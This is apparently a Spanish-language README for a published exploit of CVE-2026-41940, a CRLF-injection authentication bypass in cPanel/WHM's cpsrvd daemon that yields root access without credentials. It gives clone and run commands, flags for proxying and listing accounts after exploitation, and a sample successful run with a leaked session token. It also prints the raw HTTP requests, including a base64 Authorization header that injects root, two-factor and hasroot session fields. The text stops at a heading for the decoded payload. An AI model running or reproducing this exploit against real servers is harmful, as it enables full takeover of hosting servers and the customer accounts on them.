
Exploit crítico de bypass de autenticación para cPanel/WHM CVE-2026-41940. Aprovecha la inyección CRLF en el daemon cpsrvd para obtener acceso root a WHM sin credenciales. Incluye detección de versiones, registro detallado (verbose logging), soporte de proxy, informes JSON y enumeración de cuentas post-explotación. Solo para pruebas de seguridad autorizadas.
Bypass crítico de autenticación mediante inyección CRLF en el daemon cpsrvd de cPanel/WHM
CVE-2026-41940 es una vulnerabilidad crítica de bypass de autenticación en cPanel y WHM que permite a atacantes remotos no autenticados obtener acceso administrativo de nivel root al servidor. La vulnerabilidad reside en el manejo de sesiones del daemon
cpsrvd, concretamente enCpanel/Session.pm, donde una neutralización incorrecta de los delimitadores de línea (CRLF) en la cookiewhostmgrsessiony en las cabecerasAuthorizationpermite la inyección de parámetros de sesión.
| CVSS Score | Tipo de exploit | Impacto | Vector de ataque |
|---|---|---|---|
| 9.8 | Bypass de autenticación | Acceso root | Red |
Este exploit proporciona las siguientes características clave:
🔓 Bypass de autenticación - Obtén acceso root a WHM sin credenciales
🛡️ Múltiples técnicas de bypass - Prueba automáticamente diferentes métodos de verificación
🌐 Soporte de proxy - Enruta el tráfico a través de proxies HTTP/HTTPS
📊 Informes JSON - Genera informes de evaluación detallados
📝 Registro completo - Modo de depuración verboso con marcas de tiempo
🔍 Detección de versión - Detecta y comprueba automáticamente versiones vulnerables
👥 Enumeración de cuentas - Lista todas las cuentas cPanel tras la explotación
🎯 Múltiples endpoints - Intenta varios endpoints de API para verificación
| Atributo | Valor |
|---|---|
| CVE ID | CVE-2026-41940 |
| Puntuación CVSS | 9.8 (Crítico) |
| Tipo de vulnerabilidad | Bypass de autenticación mediante inyección CRLF |
| Componente afectado | Daemon cpsrvd (Cpanel/Session.pm) |
| Vector de ataque | Red |
| Impacto | Acceso root completo |
| Explotación | Remoto no autenticado |
La vulnerabilidad se origina por dos problemas principales:
Inyección CRLF en el almacenamiento de sesión - La función saveSession no sanea los caracteres de nueva línea (\n) en el campo pass antes de escribir en el archivo de sesión, lo que permite inyectar parámetros de sesión arbitrarios.
Bypass de codificación condicional - Cuando la cookie de sesión no incluye la parte ob (el segmento después de la coma), el valor de pass se escribe sin codificar (texto plano), lo que permite la inyección de secuencias CRLF.
| Canal de lanzamiento | Vulnerable hasta | Versión parcheada |
|---|---|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
# Se requiere Python 3.6 o superior
python3 --version
# Instala los paquetes necesarios
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Modo verboso con salida de depuración
python3 exploit.py --target https://target.com:2087 --verbose
# A través de proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Guarda el informe y lista las cuentas
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Tiempo de espera personalizado
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
| Argumento | Corto | Obligatorio | Descripción |
|---|---|---|---|
--target | -t | ✅ | URL objetivo (p. ej., https://target.com:2087 ) |
--verbose | -v | ❌ | Habilita la salida verbosa/depuración |
--proxy | -p | ❌ | URL del proxy (p. ej., http://127.0.0.1:8080 ) |
--output | -o | ❌ | Archivo de salida para el informe JSON |
--timeout | ❌ | Tiempo de espera de la solicitud en segundos (predeterminado: 10) | |
--list-accounts | -l | ❌ | Lista las cuentas cPanel tras una explotación exitosa |
--version | ❌ | Muestra la versión del exploit |
El exploit primero obtiene una cookie de sesión previa a la autenticación intentando un inicio de sesión fallido:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Respuesta:
Set-Cookie: whostmgrsession=base64_encoded_data
La cabecera Authorization manipulada inyecta parámetros de sesión maliciosos:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Payload decodificado: